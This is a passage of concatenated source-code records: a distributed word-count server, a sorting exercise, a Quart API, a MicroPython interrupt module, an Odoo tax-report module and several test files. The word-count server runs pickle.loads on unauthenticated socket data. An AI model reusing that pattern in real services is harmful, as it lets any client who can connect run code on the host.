%s:%i...\" % (self.server_ip, \n self.server_port))\n print(\"server is listening on %s:%i...\" % (self.server_ip, \n self.server_port))\n while True:\n connection, client_addr = self.serversocket.accept()\n buff = connection.recv(64)\n word_t = pickle.loads(buff)\n logging.debug(\"received word count tuple: \" + str(word_t))\n\n if word_t == \"###clientclose###\":\n print(\"thread is terminating...\")\n break\n \n with lock:\n if word_t[0] in wordcount:\n wordcount[word_t[0]] += word_t[1]\n else:\n wordcount[word_t[0]] = word_t[1]\n \n self.serversocket.close()\n logging.info(\"Master server socket closing...\")\n print(\"Master server socket closing...\")\n \ndef sorting(wordcount, top_num = 10):\n '''return a sorted tuple of word count dictionary by its value.'''\n sorted_tuple = sorted(wordcount.items(), key = operator.itemgetter(1))\n top_words = sorted_tuple[-1: -(top_num+1): -1]\n return top_words\n \n\ndef main():\n logging.basicConfig(filename='master.log',level=logging.INFO)\n parser = argparse.ArgumentParser(description='This is the master process.')\n parser.add_argument('server_ip', action = 'store')\n parser.add_argument('server_port', action = 'store', type = int)\n parser.add_argument('worker_num', action = 'store', type = int)\n arg = parser.parse_args()\n \n threads = []\n for i in range(arg.worker_num):\n thread = master(arg.server_ip, arg.server_port+i) \n thread.start()\n threads.append(thread)\n print(\"a thread is starting...\")\n logging.info(\"a thread is starting...\")\n\n for thread in threads:\n thread.join()\n \n result = sorting(wordcount)\n\n with open(\"output.txt\", 'a') as f:\n for t in result:\n f.write(\"Word [%s] appears [%i] times.\\n\" % t)\n \n logging.info(\"Master is terminating...\")\n print(\"Master is terminating...\")\n return \n\nif __name__ == \"__main__\":\n main()\n","sub_path":"DistributedFileIndexer/master.py","file_name":"master.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"21022143","text":"numero1= int(input())\nnumero2= int(input())\nnumero3= int(input())\nif numero1 < numero2 < numero3:\n pri_numero = numero1\n seg_numero = numero2\n ter_numero = numero3\nelif numero1 < numero3 < numero2:\n pri_numero = numero1\n seg_numero = numero3\n ter_numero = numero2\nelif numero2 < numero1 < numero3:\n pri_numero = numero2\n seg_numero = numero1\n ter_numero = numero3\nelif numero2 < numero3 < numero1:\n pri_numero = numero2\n seg_numero = numero3\n ter_numero = numero1\nelif numero3 < numero1 < numero2:\n pri_numero = numero3\n seg_numero = numero1\n ter_numero = numero2\nelif numero3 < numero2 < numero1:\n pri_numero = numero3\n seg_numero = numero2\n ter_numero = numero1\nprint(ter_numero)\nprint(seg_numero)\nprint(pri_numero)\n\n","sub_path":"listas/lista-de-exercicio-03/questao-09.py","file_name":"questao-09.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"313710574","text":"# Copyright 2018 Andreas Traber\n# Licensed under MIT (https://github.com/atraber/escapemgmt/LICENSE)\nfrom quart import abort, Blueprint, request, jsonify\n\nfrom app import db\nfrom logger import logger\nfrom models import Device, Preset\n\npresets = Blueprint('presets', __name__)\n\n\n@presets.route('/presets', methods=['GET'])\nasync def apiPresets():\n presets = db.session.query(Preset).order_by(Preset.name).all()\n return jsonify([s.serialize() for s in presets])\n\n\n@presets.route('/preset', methods=['POST'])\nasync def apiPresetAdd():\n if request.headers['Content-Type'] == 'application/json':\n preset = Preset(name=(await request.json)['name'])\n db.session.add(preset)\n db.session.commit()\n return jsonify(preset.serialize())\n abort(400)\n\n\n@presets.route('/presets/', methods=['POST', 'DELETE'])\nasync def apiPresetUpdate(presetid: int):\n if request.method == 'POST':\n if request.headers['Content-Type'] == 'application/json':\n db_preset = db.session.query(Preset).filter_by(id=presetid).first()\n db_preset.name = (await request.json)['name']\n db.session.commit()\n return jsonify(db_preset.serialize())\n elif request.method == 'DELETE':\n db.session.query(Preset).filter_by(id=presetid).delete()\n db.session.commit()\n return jsonify('ok')\n abort(400)\n\n\n@presets.route('/preset/activate/', methods=['POST'])\nasync def apiPresetActivate(presetid: int):\n if request.headers['Content-Type'] == 'application/json':\n preset_old = db.session.query(Preset).filter_by(active=True).first()\n if preset_old:\n preset_old.active = False\n else:\n logger.error('No active preset found')\n\n preset_new = db.session.query(Preset).filter_by(id=presetid).first()\n preset_new.active = True\n\n # Activate all screens\n devices = db.session.query(Device).all()\n\n for device in devices:\n device.screen_enable = True\n\n db.session.commit()\n return jsonify('ok')\n abort(400)\n","sub_path":"backend/app/presets.py","file_name":"presets.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"262307951","text":"\"\"\"\nModule is responsible for hardware interrupt\nhandling dedicated to micrOS framework.\n- Setting up interrupt memory buffer from config\n- Configure time based and external interrupts\n\n- Time based IRQ:\n - Simple with fix period callback\n - Advanced - time stump ! LM function;\n - 0-6:0-24:0-59:0-59!system heartbeat; etc.\n\nDesigned by Marcell Ban aka BxNxM\n\"\"\"\n#################################################################\n# IMPORTS #\n#################################################################\nfrom ConfigHandler import cfgget, console_write\nfrom InterpreterCore import execute_LM_function_Core\nfrom LogicalPins import get_pin_on_platform_by_key\nif cfgget('cron'):\n # Only import when enabled - memory usage optimization\n from Scheduler import scheduler\n\n\n# TIMER IRQ AND CRON VALUES PERSISTENT CACHE\n# timirqcbf (simple), crontasks, timirqseq\nCFG_TIMER_IRQ = ['n/a', 3]\n\n# EVENT IRQ VALUE PERSISTENT CACHE\nCFG_EVIRQCBF = 'n/a'\n\n#################################################################\n# CONFIGURE INTERRUPT MEMORY BUFFER #\n#################################################################\n\n\ndef set_emergency_buffer():\n emergency_buff_kb = cfgget('irqmembuf')\n if cfgget('extirq') or cfgget(\"timirq\"):\n from micropython import alloc_emergency_exception_buf\n console_write(\"[IRQ] Interrupts was enabled, alloc_emergency_exception_buf={}\".format(emergency_buff_kb))\n alloc_emergency_exception_buf(emergency_buff_kb)\n else:\n console_write(\"[IRQ] Interrupts disabled, skip alloc_emergency_exception_buf configuration.\")\n\n#################################################################\n# TIMER INTERRUPT(S) #\n#################################################################\n\n#############################################\n# [TIMER] TIMIRQ CBFs - LM executor #\n#############################################\n\n\ndef secureInterruptHandlerSimple(timer=None):\n try:\n # Execute CBF from cached config\n state = execute_LM_function_Core(CFG_TIMER_IRQ[0].split(' '))\n if not state:\n console_write(\"[IRQ] TIMIRQ execute_LM_function_Core error: {}\".format(CFG_TIMER_IRQ[0]))\n except Exception as e:\n console_write(\"[IRQ] TIMIRQ callback: {} error: {}\".format(CFG_TIMER_IRQ[0], e))\n\n\ndef secureInterruptHandlerScheduler(timer=None):\n try:\n # Execute CBF LIST from local cached config with timirqseq in sec\n scheduler(CFG_TIMER_IRQ[0], CFG_TIMER_IRQ[1])\n except Exception as e:\n console_write(\"[IRQ] TIMIRQ (cron) callback: {} error: {}\".format(CFG_TIMER_IRQ[0], e))\n\n\n#############################################\n# [TIMER] INIT TIMIRQ SET CBF #\n#############################################\n\n\ndef enableInterrupt():\n \"\"\"\n TIMER INTERRUPT CALLBACK FUNCTION CONFIG. WRAPPER\n - FIRST PRIORITY: SCHEDULER\n - SECOND PRIORITY: SIMPLE PERIODIC CALLBACK\n \"\"\"\n console_write(\"[IRQ] TIMIRQ SETUP - TIMIRQ: {} SEQ: {}\".format(cfgget(\"timirq\"), cfgget(\"timirqseq\")))\n console_write(\"|- [IRQ] CRON:{} CBF:{}\".format(cfgget('cron'), cfgget('crontasks')))\n console_write(\"|- [IRQ] SIMPLE CBF:{}\".format(cfgget('timirqcbf')))\n if cfgget(\"timirq\"):\n # Configure advanced scheduler OR simple repeater\n if cfgget('cron') and cfgget('crontasks').lower() != 'n/a':\n console_write(\"|-- TIMER IRQ MODE: SCHEDULER\")\n # ENABLE ADVANCED SCHEDULER (BASED ON SIMPLE TIMIRQ)\n __enableInterruptScheduler()\n return\n # ENABLE SIMPLE PERIODIC INTERRUPT\n console_write(\"|-- TIMER IRQ MODE: SIMPLE\")\n __enableInterruptSimple()\n\n\ndef __enableInterruptScheduler():\n \"\"\"\n SMART TIMER INTERRUPT CONFIGURATION\n # MUST BE CHECK BEFORE CALL: cfgget(\"timirq\") and cfgget('cron') and cfgget('crontasks')\n \"\"\"\n # CACHE TASKS FOR CBF\n CFG_TIMER_IRQ[0] = cfgget('crontasks')\n CFG_TIMER_IRQ[1] = int(cfgget(\"timirqseq\") / 1000)\n from machine import Timer\n # INIT TIMER IRQ with callback function wrapper\n timer = Timer(0)\n timer.init(period=int(cfgget(\"timirqseq\")), mode=Timer.PERIODIC, callback=secureInterruptHandlerScheduler)\n\n\ndef __enableInterruptSimple():\n \"\"\"\n SIMPLE TIMER INTERRUPT CONFIGURATION\n \"\"\"\n # LOAD DATA FOR TIMER IRQ: cfgget(\"timirq\")\n # CACHE TASK FOR CBF\n CFG_TIMER_IRQ[0] = cfgget('timirqcbf')\n if CFG_TIMER_IRQ[0].lower() != 'n/a':\n from machine import Timer\n # INIT TIMER IRQ with callback function wrapper\n timer = Timer(0)\n timer.init(period=int(cfgget(\"timirqseq\")), mode=Timer.PERIODIC, callback=secureInterruptHandlerSimple)\n else:\n console_write(\"[IRQ] TIMIRQ: isenable: {} callback: {}\".format(cfgget(\"timirq\"), cfgget('timirqcbf')))\n\n\n#################################################################\n# EVENT/EXTERNAL INTERRUPT(S) #\n#################################################################\n# trigger=Pin.IRQ_FALLING signal HIGH to LOW\n# trigger=Pin.IRQ_RISING signal LOW to HIGH\n# trigger=3 both\n#################################################################\n\n\ndef secureEventInterruptHandler(pin=None):\n \"\"\"\n EVENT INTERRUPT CALLBACK FUNCTION WRAPPER\n \"\"\"\n try:\n state = execute_LM_function_Core(CFG_EVIRQCBF.split(' '))\n if not state:\n console_write(\"[IRQ] EXTIRQ execute_LM_function_Core error: {}\".format(CFG_EVIRQCBF))\n except Exception as e:\n console_write(\"[IRQ] EVENTIRQ callback: {} error: {}\".format(CFG_EVIRQCBF, e))\n\n\ndef init_eventPIN():\n \"\"\"\n EVENT INTERRUPT CONFIGURATION\n \"\"\"\n global CFG_EVIRQCBF\n if cfgget('extirq') and cfgget('extirqcbf').lower() != 'n/a':\n CFG_EVIRQCBF = cfgget('extirqcbf')\n pin = get_pin_on_platform_by_key('pwm_4')\n console_write(\"[IRQ] EVENTIRQ ENABLED PIN: {} CBF: {}\".format(pin, CFG_EVIRQCBF))\n # Init event irq with callback function wrapper\n from machine import Pin\n pin_obj = Pin(pin, Pin.IN, Pin.PULL_UP)\n pin_obj.irq(trigger=Pin.IRQ_RISING, handler=secureEventInterruptHandler)\n else:\n console_write(\"[IRQ] EVENTIRQ: isenable: {} callback: {}\".format(cfgget('extirq'), CFG_EVIRQCBF))\n\n#################################################################\n# INIT MODULE #\n#################################################################\n\n\nset_emergency_buffer()\n","sub_path":"micrOS/InterruptHandler.py","file_name":"InterruptHandler.py","file_ext":"py","file_size_in_byte":6619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"4405711","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# Copyright (c) 2019 Synersys Consulting Inc.\n#\n# WARNING: This program as such is intended to be used by professional\n# programmers who take the whole responsibility of assessing all potential\n# consequences resulting from its eventual inadequacies and bugs\n#\n# This program is Free Software; you can redistribute it and/or\n# modify it under the terms of the GNU Affero General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details. \n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n##############################################################################\nfrom odoo import models, api, fields, _\nfrom datetime import datetime\nimport json\n\nclass AccountAlphalistMap(models.Model):\n _name = 'account.alphalist.map'\n _description = 'Monthly Alphalist Payees'\n _inherit = 'account.report'\n \n filter_date = {'date_from': '', 'date_to': '', 'filter': 'this_year'}\n filter_unfold_all = True\n filter_partner = True\n\n def _get_company_id(self):\n \"\"\"\n @summary: This will default Company Id on the form by\n getting the attached company_id of the current User. \n \"\"\"\n user_id = self.env.uid\n company_id = self.env['res.users'].browse(user_id).company_id.id\n return company_id\n \n company_id = fields.Many2one('res.company', string='Company', default=_get_company_id, track_visibility='onchange')\n\n @api.model\n def get_title(self):\n return _('Quarterly Alphalist Payees')\n\n @api.model\n def _get_report_name(self):\n return _('Quarterly Alphalist Payees')\n\n @api.model\n def get_report_type(self):\n return self.env.ref('tf_ph_bir.account_report_type_alphalist_map')\n \n def _get_templates(self):\n templates = super(AccountAlphalistMap, self)._get_templates()\n templates['line_template'] = 'tf_ph_bir.line_template_alphalist_map_report'\n return templates\n \n def _get_columns_name(self, options):\n columns = [\n {},\n {'name': _('Date'), 'class': 'date'},\n {'name': _('Return Period')},\n {'name': _('Journal')},\n {'name': _('Nature of Income Payment')},\n {'name': _('Tax Rate')},\n {'name': _('Tax Base'), 'class': 'number'},\n {'name': _('Tax Withheld'), 'class': 'number'}]\n\n return columns\n\n @api.model\n def get_company_data(self):\n user_id = self.env.uid\n company = self.env['res.users'].browse(user_id).company_id;\n company_data ={\n \"company_tin\": company.vat.replace(\"-\", \"\")[0:9],\n \"company_name\": company.name,\n \"date\": f'{datetime.now().month}{datetime.now().year}'\n }\n\n return company_data\n\n @api.model\n def get_csv(self, options):\n alpha_type = 'MAP'\n ftype_code = '1601E'\n file_content = ''\n user_id = self.env.uid\n user_data = self.env['res.users'].browse(user_id)\n company = user_data.company_id\n company_name = company.name.upper() or ''\n company_vat = company.vat.replace('-', '')\n company_tin = company_vat[0:9] or ''\n company_branch_code = company_vat[9:13] or ''\n company_rdo_code = company.rdo_code\n company_data = list(filter(lambda data: data['level'] == 2, options['line_details_header']))\n return_period = datetime.now().strftime('%m/%Y')\n header_details = f\"H{alpha_type},\" \\\n f\"H{ftype_code},\" \\\n f\"{company_tin},\" \\\n f\"{company_branch_code},\" \\\n f'\"{company_name}\",' \\\n f\"{return_period},\" \\\n f\"{company_rdo_code}\\n\"\n file_content += header_details\n total_amount_withheld = 0.0\n total_tax_base = 0.0\n seq = 0\n for detail in company_data:\n seq += 1\n detail_tin = '000-000-000'\n if detail['vat']:\n detail_tin = str(detail['vat']).replace('-', '')[0:9]\n detail_rdo = str(detail['vat']).replace('-', '')[9:13]\n\n atc = detail['company_details'][2]['name'].replace(' ', '')[0:5]\n tax_rate = format(float(detail['company_details'][3]['name']), '.2f')\n tax_base = detail['columns'][5]['name'].replace(',', '').replace(' Php', '').replace('$ ', '')\n actual_amt_wthld = detail['columns'][6]['name'].replace(',', '').replace(' Php', '').replace('$ ', '')\n\n first_name = detail['first_name'].upper() if detail['first_name'] else ''\n middle_name = detail['middle_name'].upper() if detail['middle_name'] else ''\n last_name = detail['last_name'].upper() if detail['last_name'] else ''\n\n detail_content = f'D{alpha_type},' \\\n f'D{ftype_code},' \\\n f'{seq},' \\\n f'{detail_tin},' \\\n f'{detail_rdo},' \\\n f'\"{str(detail[\"name\"]).upper()}\",'\\\n f\"{first_name},\"\\\n f\"{middle_name},\" \\\n f\"{last_name},\" \\\n f\"{return_period},\" \\\n f\"{atc},\" \\\n f\"{tax_rate},\" \\\n f\"{tax_base},\" \\\n f\"{actual_amt_wthld}\\n\"\n total_amount_withheld += float(actual_amt_wthld)\n total_tax_base += float(tax_base)\n file_content += detail_content\n\n\n control_details = f\"C{alpha_type},\" \\\n f\"C{ftype_code},\" \\\n f\"{company_tin},\" \\\n f\"{company_branch_code},\"\\\n f\"{return_period},\" \\\n f\"{format(total_tax_base, '.2f')},\"\\\n f\"{format(total_amount_withheld, '.2f')}\\n\"\n\n file_content += control_details\n\n return file_content\n\n def get_report_filename(self, options):\n \"\"\"The name that will be used for the file when downloading pdf,xlsx,...\"\"\"\n if 'export_csv' in options and options['export_csv']:\n options.pop('export_csv')\n company_data = self.get_company_data()\n return f\"{company_data['company_tin']}{company_data['date']}1601E.dat\"\n\n return self._get_report_name().lower().replace(' ', '_')\n\n def _get_reports_buttons(self):\n return [\n {'name': _('Print Preview'), 'sequence': 1, 'action': 'print_pdf', 'file_export_type': _('PDF')},\n {'name': _('Export (XLSX)'), 'sequence': 2, 'action': 'print_xlsx', 'file_export_type': _('XLSX')},\n {'name': _('Export (DAT.CSV)'), 'sequence': 3, 'action': 'tf_ph_bir_export_csv', 'file_export_type': _('CBS')},\n {'name': _('Save'), 'sequence': 10, 'action': 'open_report_export_wizard'},\n ]\n\n def tf_ph_bir_export_csv(self, options):\n options['export_csv'] = True\n action = {'type': 'ir_actions_account_report_download',\n 'name': 'testing.dat',\n 'data': {'model': self.env.context.get('model'),\n 'options': json.dumps(options),\n 'output_format': 'csv',\n 'financial_id': self.env.context.get('id'),\n }\n }\n return action\n\n\n @api.model\n def _get_taxwithheld(self, invoice_line, tax):\n return invoice_line.price_subtotal * -(tax.amount)\n\n @api.model\n def _get_lines(self, options, line_id=None):\n AccountMoveLine = self.env['account.move.line']\n ResPartner = self.env['res.partner']\n context = self.env.context\n date_from = context.get('date_from')\n date_to = context.get('date_to')\n unfold_all = context.get('print_mode') and not options.get('unfolded_lines')\n company_ids = self.env['res.company']\n partner_ids = partner_ids2 = []\n lines = []\n csv_details_data = []\n #Get selected company\n if context.get('company_ids', False):\n comp_ids = context.get('company_ids')\n for comp_id in comp_ids:\n comp_id = self.env['res.company'].browse(comp_id)\n company_ids += comp_id\n child_ids = self.env['res.company'].search([('parent_id','=',comp_id.id)])\n for child_id in child_ids: \n if child_id not in company_ids: company_ids += child_id\n\n domain = [('date', '<=', date_to),\n ('date', '>=', date_from),\n ('tax_line_id', '!=', False),\n ('move_id.type', 'in', ('in_invoice', 'in_refund', 'in_receipt')),\n ('move_id.state', '!=', 'draft')\n ]\n \n move_line_ids = AccountMoveLine.search(domain)\n\n if line_id:\n line_id = int(line_id.split('_')[1]) or None\n if line_id: partner_ids = ResPartner.browse(line_id)\n \n elif options.get('partner_ids'):\n # If a default partner is set, we only want to load the line referring to it.\n partner_ids2 = options['partner_ids']\n for p_id in partner_ids2:\n p_id = ResPartner.browse(p_id)\n line_id = p_id.id\n if p_id not in partner_ids: partner_ids += p_id\n if line_id:\n if 'partner_' + str(line_id) not in options.get('unfolded_lines', []):\n options.get('unfolded_lines', []).append('partner_' + str(line_id))\n\n options.update({'partner_ids': list(dict.fromkeys(options['partner_ids']))})\n else:\n #Create partner list\n partner_ids = move_line_ids.mapped('partner_id')\n\n overall_tax_base = overall_tax_withheld = 0\n for partner_id in partner_ids:\n map_lines = []\n csv_data = []\n withholding_2306_ids = self.env['account.tax']\n withholding_2307_ids = self.env['account.tax']\n withholding_2307_ids = self.env['account.tax']\n\n for comp_id in company_ids:\n withholding_2306_ids += comp_id.withholding_2306_ids\n withholding_2307_ids += comp_id.withholding_2307_ids\n withholding_taxes = (withholding_2306_ids + withholding_2307_ids).filtered(lambda tax: tax.type_tax_use == 'purchase')\n \n partner_move_line_ids = move_line_ids.filtered(lambda m: m.partner_id == partner_id and m.tax_line_id in withholding_taxes)\n base_total = withheld_total = 0.0\n\n if partner_move_line_ids:\n taxes = []\n \n for tax_id in partner_move_line_ids.filtered(lambda v:v.tax_line_id in withholding_taxes).mapped('tax_line_id'):\n if tax_id not in withholding_taxes:\n continue\n \n tax_base_total = tax_withheld_total = 0.0\n \n for tax_move_line_id in partner_move_line_ids.filtered(lambda l: l.tax_line_id == tax_id):\n if tax_move_line_id.company_id.id in company_ids.ids:\n #For invoice line tax withheld\n tax_withheld = (tax_move_line_id.debit * -1.0) or tax_move_line_id.credit\n tax_id = tax_move_line_id.tax_line_id\n\n #Look for the Tax Base\n tax_base = 0.0\n base_aml_ids = tax_move_line_id.move_id.line_ids.filtered(lambda l: l.tax_ids & tax_id and l.move_id)\n if base_aml_ids:\n for base_aml_id in base_aml_ids:\n tax_base += base_aml_id.debit or -(base_aml_id.credit) \n else:\n tax_base = tax_withheld / -(tax_id.amount / 100)\n \n #Total per Tax\n tax_base_total += tax_base\n tax_withheld_total += tax_withheld\n \n move_id = tax_move_line_id.move_id\n return_period = datetime.strptime(str(move_id.date), '%Y-%m-%d').strftime('%m/%Y')\n \n if (tax_base + tax_withheld):\n # Lines\n columns = [{'name': v} for v in [\n tax_move_line_id.move_id.date,\n return_period,\n tax_move_line_id.move_id.journal_id.name,\n tax_id.name,\n str(-(tax_id.amount)) + '%',\n self.format_value(tax_base),\n self.format_value(tax_withheld)\n ]]\n \n caret_type = 'account.move'\n partner_data = {\n 'id': tax_move_line_id.id,\n 'type': 'move_line_id',\n 'caret_options': caret_type,\n 'class': 'top-vertical-align',\n 'move_id': tax_move_line_id.move_id.id,\n 'parent_id': 'partner_' + str(partner_id.id),\n 'name': tax_move_line_id.move_id.name,\n 'vat_payee': tax_move_line_id.move_id.partner_id.vat,\n 'registered_payee_name': tax_move_line_id.move_id.partner_id.name,\n 'columns': columns,\n 'level': 3,\n }\n csv_data.append(partner_data)\n if 'partner_' + str(partner_id.id) in options.get('unfolded_lines') or unfold_all:\n if tax_id.name not in taxes or not taxes:\n map_lines.append({\n 'id': 'initial_%s' % (partner_id.id),\n 'class': 'o_account_reports_initial_balance',\n 'name': \"ATC - %s\" % tax_id.description,\n 'parent_id': 'partner_%s' % (partner_id.id,),\n 'columns': [{'name': v} for v in ['', '', '', '', '', '', '']],\n 'level': 3,\n })\n taxes.append(tax_id.name)\n map_lines.append(partner_data)\n\n #Total per Partner\n base_total += tax_base_total\n withheld_total += tax_withheld_total\n if 'partner_' + str(partner_id.id) in options.get('unfolded_lines') or unfold_all: \n if (tax_base_total + tax_withheld_total) or map_lines:\n map_lines.append({\n 'id': 'total_' + str(tax_move_line_id.account_id.id),\n 'type': 'o_account_reports_domain_total',\n 'class': 'total',\n 'name': _('Total') + ': ' + tax_id.name,\n 'parent_id': 'partner_' + str(partner_id.id),\n 'columns': [{'name': v} for v in ['','', '', '', '', self.format_value(tax_base_total), self.format_value(tax_withheld_total)]],\n 'level': 4,\n })\n overall_tax_base += tax_base_total\n overall_tax_withheld += tax_withheld_total\n \n if (base_total + withheld_total) or map_lines:\n #Partner Line\n lines.append({\n 'id': 'partner_' + str(partner_id.id),\n 'name': partner_id.name,\n 'first_name': partner_id.first_name,\n 'middle_name': partner_id.middle_name,\n 'last_name': partner_id.last_name,\n 'vat': partner_id.vat,\n 'rdo': partner_id.rdo_code,\n 'columns': [{'name': v} for v in [\n '',\n '',\n '',\n '',\n '',\n self.format_value(base_total),\n self.format_value(withheld_total)]],\n 'level': 2,\n 'return_period': return_period,\n 'unfoldable': True,\n 'unfolded': 'partner_' + str(partner_id.id) in options.get('unfolded_lines') or unfold_all,\n 'colspan': 1,\n 'company_details': [{'name': v} for v in [\n tax_move_line_id.move_id.date,\n return_period,\n tax_id.name,\n str(-(tax_id.amount)),\n ]]\n })\n\n lines += map_lines\n csv_details_data += csv_data\n\n if not line_id or partner_ids2:\n total_line = {\n 'id': 'overall_map_partners_total',\n 'name': _('Total'),\n 'class': 'o_account_reports_domain_total',\n 'level': 0,\n 'columns': [{'name': ''}] * 5 +\n [{'name': self.format_value(v)} for v in\n [overall_tax_base,\n overall_tax_withheld, ]],\n }\n lines.append(total_line)\n options['line_details_header'] = lines\n options['line_details_data'] = csv_details_data\n return lines\n","sub_path":"tf_ph_bir/models/tf_ph_bir_alphalist_map.py","file_name":"tf_ph_bir_alphalist_map.py","file_ext":"py","file_size_in_byte":19063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"410331097","text":"import pytest\nfrom requests import get, post, delete, put\n\n# Удаление работы\ndef test_delete1():\n resp = delete('http://localhost:5000/api/jobs/999') \n assert resp.status_code == 200\n resp_body = resp.json()\n assert resp_body['error'] == 'Id <999> not found'\n \n\ndef test_delete2():\n resp = delete('http://localhost:5000/api/jobs/text') \n assert resp.status_code == 404\n resp_body = resp.json()\n assert resp_body['error'] == 'Not found'\n\n# test_delete1()\n# test_delete2()","sub_path":"Lyceum/Project_WEB_API/test_delete.py","file_name":"test_delete.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"183521510","text":"# Copyright 2015 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for the Guide module.\"\"\"\n\n__author__ = 'Pavel Simakov (psimakov@google.com)'\n\n\nfrom controllers import sites\nfrom models import courses\nfrom tests.functional import actions\nfrom tools import verify\n\n\nclass GuideTests(actions.TestBase):\n\n ALL_COURSES = [\n ('Alpha', courses.COURSE_AVAILABILITY_PUBLIC),\n ('Bravo', courses.COURSE_AVAILABILITY_REGISTRATION_OPTIONAL),\n ('Charlie', courses.COURSE_AVAILABILITY_REGISTRATION_REQUIRED),\n ('Delta', courses.COURSE_AVAILABILITY_PRIVATE)]\n\n GUIDE_DISABLED = {'modules': {'guide': {'enabled': False}}}\n\n GUIDE_ENABLED_COURSE = {'modules': {'guide': {\n 'enabled': True, 'availability': courses.AVAILABILITY_COURSE}}}\n\n GUIDE_ENABLED_PRIVATE = {'modules': {'guide': {\n 'enabled': True, 'availability': courses.AVAILABILITY_UNAVAILABLE}}}\n\n def _import_sample_course(self, ns='guide', availability=None):\n dst_app_context = actions.simple_add_course(\n ns, '%s_tests@google.com' % ns,\n 'Power Searching with Google [%s]' % ns)\n dst_course = courses.Course(None, dst_app_context)\n all_courses = sites.get_all_courses('course:/:/:')\n src_app_context = all_courses[len(all_courses) - 1]\n errors = []\n dst_course.import_from(src_app_context, errors)\n dst_course.save()\n dst_course.set_course_availability(availability)\n self.assertEquals(0, len(errors))\n\n def setUp(self):\n super(GuideTests, self).setUp()\n entries = []\n for name, availability in self.ALL_COURSES:\n self._import_sample_course(ns=name, availability=availability)\n entries.append('course:/%s::ns_%s\\n' % (name, name))\n sites.setup_courses(''.join(entries))\n\n def assert_guide_not_accesssible(self, name, is_guides_accessible=False):\n response = self.get('/modules/guides', expect_errors=True)\n if is_guides_accessible:\n self.assertEquals(200, response.status_int)\n else:\n self.assertEquals(404, response.status_int)\n\n app_ctx = sites.get_course_for_path('/%s' % name)\n course = courses.Course(None, app_context=app_ctx)\n for unit in course.get_units():\n if unit.type != verify.UNIT_TYPE_UNIT:\n continue\n response = self.get(\n '/%s/guide?unit_id=%s' % (name, unit.unit_id),\n expect_errors=True)\n self.assertEquals(404, response.status_int)\n\n def assert_guide_accesssible(self, name):\n response = self.get('/modules/guides')\n self.assertEquals(200, response.status_int)\n self.assertIn(\n 'category=\"Power Searching with Google [%s]' % name,\n response.body)\n\n app_ctx = sites.get_course_for_path('/%s' % name)\n course = courses.Course(None, app_context=app_ctx)\n for unit in course.get_units():\n if unit.type != verify.UNIT_TYPE_UNIT:\n continue\n response = self.get('/%s/guide?unit_id=%s' % (name, unit.unit_id))\n self.assertIn(unit.title, response.body.decode('utf-8'))\n\n def register(self, name):\n self.base = '/%s' % name\n actions.register(self, 'Test User %s' % name)\n self.base = ''\n\n def test_polymer_components_zip_handler(self):\n response = self.get(\n '/modules/guide/resources/polymer/bower_components/bower.json')\n self.assertEquals(200, response.status_int)\n\n def test_guide_disabled(self):\n with actions.OverriddenEnvironment(self.GUIDE_DISABLED):\n for name in ['Alpha', 'Bravo', 'Charlie', 'Delta']:\n actions.logout()\n self.assert_guide_not_accesssible(name)\n\n actions.login('guest@sample.com')\n self.assert_guide_not_accesssible(name)\n\n if name == 'Bravo' or name == 'Charlie':\n self.register(name)\n self.assert_guide_not_accesssible(name)\n\n actions.login('admin@sample.com', is_admin=True)\n self.assert_guide_not_accesssible(name)\n\n def test_guide_enabled_private(self):\n with actions.OverriddenEnvironment(self.GUIDE_ENABLED_PRIVATE):\n for name in ['Alpha', 'Bravo', 'Charlie', 'Delta']:\n actions.logout()\n self.assert_guide_not_accesssible(name)\n\n actions.login('guest@sample.com')\n self.assert_guide_not_accesssible(name)\n\n if name == 'Bravo' or name == 'Charlie':\n self.register(name)\n self.assert_guide_not_accesssible(name)\n\n actions.login('admin@sample.com', is_admin=True)\n self.assert_guide_accesssible(name)\n\n # check course labels as admin sees them\n response = self.get('/modules/guides')\n self.assertEquals(200, response.status_int)\n self.assertIn(\n 'category=\"Power Searching with Google [Alpha] '\n '(Private)', response.body)\n self.assertIn(\n 'category=\"Power Searching with Google [Bravo] '\n '(Private)', response.body)\n self.assertIn(\n 'category=\"Power Searching with Google [Charlie] '\n '(Private)', response.body)\n self.assertIn(\n 'category=\"Power Searching with Google [Delta] '\n '(Private)', response.body)\n\n def test_guide_enabled_course(self):\n with actions.OverriddenEnvironment(self.GUIDE_ENABLED_COURSE):\n actions.logout()\n self.assert_guide_accesssible('Alpha')\n self.assert_guide_accesssible('Bravo')\n self.assert_guide_not_accesssible(\n 'Charlie', is_guides_accessible=True)\n self.assert_guide_not_accesssible(\n 'Delta', is_guides_accessible=True)\n\n actions.login('guest@sample.com')\n self.assert_guide_accesssible('Alpha')\n self.assert_guide_accesssible('Bravo')\n self.assert_guide_not_accesssible(\n 'Charlie', is_guides_accessible=True)\n self.assert_guide_not_accesssible(\n 'Delta', 